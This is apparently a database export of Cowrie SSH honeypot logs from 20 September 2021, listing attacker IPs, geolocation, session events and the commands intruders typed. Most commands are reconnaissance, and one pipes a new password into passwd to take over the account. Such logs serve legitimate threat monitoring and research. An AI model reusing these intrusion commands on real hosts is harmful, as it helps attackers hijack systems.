33203	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:23.873509+03	2021-09-20 15:00:04.443753+03	{"_id": "FgYOA3wBvYTbRNuEpk4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:23.873509Z", "@timestamp": "2021-09-20T11:54:23.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33204	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:24.452689+03	2021-09-20 15:00:04.445723+03	{"_id": "GAYOA3wBvYTbRNuEqk4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "1.116.239.130", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5802977085113525, "duplicate": true, "timestamp": "2021-09-20T11:54:24.452689Z", "@timestamp": "2021-09-20T11:54:24.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33205	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:20.472419+03	2021-09-20 15:00:04.446722+03	{"_id": "CgYOA3wBvYTbRNuEmk5l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "9667fb8d5e4c43f22f151479bfa636442ca906af63ace591264127500c1daca3", "src_ip": "1.116.239.130", "ttylog": "log/tty/9667fb8d5e4c43f22f151479bfa636442ca906af63ace591264127500c1daca3", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/9667fb8d5e4c43f22f151479bfa636442ca906af63ace591264127500c1daca3 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5480375289916992, "duplicate": false, "timestamp": "2021-09-20T11:54:20.472419Z", "@timestamp": "2021-09-20T11:54:20.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33206	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:21.874858+03	2021-09-20 15:00:04.448722+03	{"_id": "DgYOA3wBvYTbRNuEnk5O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:21.874858Z", "@timestamp": "2021-09-20T11:54:21.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33218	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:38.505818+03	2021-09-20 15:00:04.519723+03	{"_id": "qAYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:38.505818Z", "@timestamp": "2021-09-20T11:54:38.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33207	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:22.453374+03	2021-09-20 15:00:04.449722+03	{"_id": "EQYOA3wBvYTbRNuEok43", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "1.116.239.130", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5786008834838867, "duplicate": true, "timestamp": "2021-09-20T11:54:22.453374Z", "@timestamp": "2021-09-20T11:54:22.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33208	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:23.873012+03	2021-09-20 15:00:04.450722+03	{"_id": "FQYOA3wBvYTbRNuEpk4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:23.873012Z", "@timestamp": "2021-09-20T11:54:23.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33209	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:24.854268+03	2021-09-20 15:00:04.451723+03	{"_id": "GQYOA3wBvYTbRNuEqk4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:24.854268Z", "@timestamp": "2021-09-20T11:54:24.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33210	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:24.85481+03	2021-09-20 15:00:04.452723+03	{"_id": "GgYOA3wBvYTbRNuEqk4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:24.854810Z", "@timestamp": "2021-09-20T11:54:24.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33211	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:22.870499+03	2021-09-20 15:00:04.454723+03	{"_id": "EgYOA3wBvYTbRNuEok43", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:22.870499Z", "@timestamp": "2021-09-20T11:54:22.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33212	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:23.872472+03	2021-09-20 15:00:04.455722+03	{"_id": "FAYOA3wBvYTbRNuEpk4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:23.872472Z", "@timestamp": "2021-09-20T11:54:23.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33213	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:37.083367+03	2021-09-20 15:00:04.457722+03	{"_id": "nAYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "1.116.239.130", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5507915019989014, "duplicate": true, "timestamp": "2021-09-20T11:54:37.083367Z", "@timestamp": "2021-09-20T11:54:37.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33214	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:38.18662+03	2021-09-20 15:00:04.459722+03	{"_id": "owYOA3wBvYTbRNuE4E7J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "121.4.68.188", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5843322277069092, "duplicate": true, "timestamp": "2021-09-20T11:54:38.186620Z", "@timestamp": "2021-09-20T11:54:38.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33215	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:38.627708+03	2021-09-20 15:00:04.474722+03	{"_id": "pAYOA3wBvYTbRNuE4E7J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:38.627708Z", "@timestamp": "2021-09-20T11:54:38.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
33216	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:54:38.628865+03	2021-09-20 15:00:04.489722+03	{"_id": "pgYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:41660 (192.168.176.2:22) [session: 13ec152810e1]", "session": "13ec152810e1", "@version": "1", "protocol": "ssh", "src_port": 41660, "dest_port": 22, "timestamp": "2021-09-20T11:54:38.628865Z", "@timestamp": "2021-09-20T11:54:38.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33217	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:38.092796+03	2021-09-20 15:00:04.504722+03	{"_id": "pwYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "1.116.239.130", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5701010227203369, "duplicate": true, "timestamp": "2021-09-20T11:54:38.092796Z", "@timestamp": "2021-09-20T11:54:38.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34415	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:30.990913+03	2021-09-20 15:15:01.864145+03	{"_id": "fgYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:30.990913Z", "@timestamp": "2021-09-20T12:00:30.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
33219	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:38.506361+03	2021-09-20 15:00:04.523722+03	{"_id": "qQYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:38.506361Z", "@timestamp": "2021-09-20T11:54:38.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33220	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:38.62562+03	2021-09-20 15:00:04.539724+03	{"_id": "qgYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:38.625620Z", "@timestamp": "2021-09-20T11:54:38.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33221	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:38.626154+03	2021-09-20 15:00:04.575723+03	{"_id": "qwYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"charles123\\\\nYXTWFwOARc20\\\\nYXTWFwOARc20\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"charles123\\\\nYXTWFwOARc20\\\\nYXTWFwOARc20\\"|passwd|bash", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:38.626154Z", "@timestamp": "2021-09-20T11:54:38.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33222	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:38.626977+03	2021-09-20 15:00:04.590722+03	{"_id": "rAYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:38.626977Z", "@timestamp": "2021-09-20T11:54:38.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33223	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:54:38.629463+03	2021-09-20 15:00:04.605724+03	{"_id": "rQYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "13ec152810e1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:38.629463Z", "@timestamp": "2021-09-20T11:54:38.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33224	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:54:38.909107+03	2021-09-20 15:00:04.607721+03	{"_id": "rgYOA3wBvYTbRNuE4E7K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", 